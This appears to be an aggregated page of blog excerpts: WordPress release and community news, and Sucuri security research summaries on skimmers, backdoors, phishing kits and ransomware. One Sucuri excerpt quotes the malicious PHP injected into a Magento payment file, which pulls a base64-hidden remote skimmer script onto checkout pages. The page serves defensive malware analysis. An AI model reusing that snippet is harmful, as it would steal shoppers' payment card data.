Blog
WordPress Blog
- People of WordPress: Thelma Mutete January 21, 2021From writing her first line of code when she was 16, Thelma Mutete knew she wanted to work in IT. She shares her journey in web development and her discovery of WordPress.webcommsat AbhaNonStopNewsUK
- The Month in WordPress: December 2020 January 5, 2021We bid goodbye to 2020 in style with the release of WordPress 5.6 and the launch of Learn WordPress. But these weren’t the only exciting updates from WordPress in December. Read on to learn more! WordPress 5.6 is here The latest major WordPress release, version 5.6 “Simone”, came out on December 8. The release ships […]Hari Shanker R
- Introducing Learn WordPress December 15, 2020Learn WordPress is a learning resource providing workshops, quizzes, courses, and lesson plans to help you to do more with WordPress.Hugh Lashbrooke
- WordPress 5.6 “Simone” December 8, 2020Meet Simone, our latest and greatest WordPress release. Named for the legendary performer Nina Simone. Fire up a playlist with her best work and read on to discover what WordPress 5.6 has in store for you.Josepha
- State of the Word 2020 December 4, 2020State of the Word will be streamed on Facebook, YouTube, and Twitter on Thursday, Dec 17th, 2020 at 1600 UTC.Josepha
- The Month in WordPress: November 2020 December 2, 2020November 2020 saw several updates to the WordPress 5.6 release. Read on to follow all the latest news from the WordPress world! WordPress 5.6 updates The Core team released WordPress 5.6 Beta 3 on Nov. 2, Beta 4 on Nov. 12, release candidate 1 on Nov. 17, and release candidate 2 on Dec. 1. You […]Hari Shanker R
- WordPress 5.6 Release Candidate 2 December 1, 2020The second release candidate for WordPress 5.6 is here! WordPress 5.6 is slated for release on December 8, 2020, and we need your help to get there—if you haven’t tried 5.6 yet, now is the time! You can test WordPress 5.6 release candidate 2 in two ways: Try the WordPress Beta Tester plugin (choose the “bleeding edge nightlies” option). Or download the release […]Josepha
- WordPress 5.6 Release Candidate November 17, 2020WordPress 5.6 Release Candidate is now available!Josepha
- WordPress 5.6 Beta 4 November 12, 2020WordPress 5.6 Beta 4 is now available for testing! This software is still in development, so we recommend that you run this version on a test site. You can test the WordPress 5.6 beta in two ways: Try the WordPress Beta Tester plugin (choose the “bleeding edge nightlies” option). Or download the beta here (zip). The current target for the […]Josepha
- WordPress 5.6 Beta 3 November 2, 2020WordPress 5.6 Beta 3 is now available for testing! This software is still in development, so we recommend that you run this version on a test site. You can test the WordPress 5.6 beta in two ways: Try the WordPress Beta Tester plugin (choose the “bleeding edge nightlies” option). Or download the beta here (zip). The current target for the […]Chloe Bringmann
Sucuri Blog
- Magento PHP Injection Loads JavaScript Skimmer January 21, 2021A Magento website owner was concerned about malware and reached out to our team for assistance. Upon investigation, we found the website contained a PHP injection in one of the Magento files: ./app/code/core/Mage/Payment/Model/Method/Cc.php ... if ($_SERVER["REQUEST_METHOD"] === "GET"){ if (strpos($_SERVER["REQUEST_URI"], "/onestepcheckout/index/") !== false){ if(!isset($_COOKIE["adminhtml"])){ echo file_get_contents(base64_decode("aHR0cHM6Ly91bmRlcnNjb3JlZndbLl1jb20vc3JjL2tyZWEuanM=")); } } } To make it more difficult to […]Luke Leal
- Critical Vulnerabilities in 123contactform-for-wordpress WordPress Plugin January 19, 2021In mass infection scenarios, our Malware Research team often looks for attack vectors to find patterns and other similarities among compromised websites. The identification of these patterns allows us to deploy better and faster solutions to our customers, minimizing impacts from massive attacks. Recently during a routine investigation, we found a number of vulnerabilities in […]Rodrigo Escobar
- Real-Time Phishing Kit Targets Brazilian Central Bank January 14, 2021We recently found an interesting phishing kit on a compromised website that has QR code capabilities, along with the ability to control the phishing page in real time. What our investigation revealed was that attackers were leveraging PIX, a new payment method created by the Brazilian Central Bank. Features & Context for PIX PIX was […]Luke Leal
- Obfuscation Techniques in Ransomweb “Ransomware” January 12, 2021As vital assets for many business operations, websites and their hosting servers are often the target of ransomware attacks — and if they get taken offline, this can cause major issues for a business’ data, revenue, and ultimately reputation. The worst part about ransomware is that it encrypts data and removes the original encrypted copies. […]Luke Leal
- Evaluating Cookies to Hide Backdoors January 7, 2021Identifying website backdoors is not always an easy task. Since a backdoors primary function is to conceal itself while providing unauthorized access, they are often developed using a variety of techniques that can make it challenging to detect. For example, an attacker can inject a single line of code containing less than 130 characters into […]Luke Leal
- Bogus CSS Injection Leads to Stolen Credit Card Details January 5, 2021A client recently reported their customers were receiving antivirus warnings when trying to access and purchase products from a Magento ecommerce website. This is almost always a telltale sign that something is amiss, and so I began my investigation. Malware in Database Tables As is pretty common with Magento credit card swiper investigations, my initial […]Ben Martin
- SEO Spam Links in Nulled Plugins December 29, 2020It’s not unusual to see website owners running things on a budget. Choosing a safe and reliable hosting company, buying a nice domain name, boosting posts on social media, and ranking on search engines — all this costs a lot of money. At the end of the day, some site owners may even choose to […]Mohit Jawanjal
- The Dangers of Using Abandoned Plugins & Themes December 17, 2020It’s not very often that we see abandoned components being used on a website — but when we do, it’s most often because the website was exhibiting malware-like behavior and we were called to investigate and clean up the site. Old and abandoned plugins and themes are a good target for opportunistic attackers who are […]Krasimir Konov
- Why You Should Monitor Your Website December 15, 2020In an effort to maintain unauthorized access or profit off a website’s environment long after an initial compromise, attackers commonly leverage a variety of different techniques and tactics. These techniques range from adding backdoors, stealing sensitive data, redirecting the site to other third-party resources, or even injecting specially crafted links to give their own sites […]Cesar Anjos
- Malware Dropper Takes Advantage of COVID-19 Pandemic December 10, 2020Since April, our team has been tracking the spread of a PHP malware dropper. It’s impacting unsuspecting victims who thought they were downloading a mapping software to monitor the spread of the COVID-19 pandemic. While the attack is likely spread through a variety of vectors, we have verified that bad actors are using other compromised […]Krasimir Konov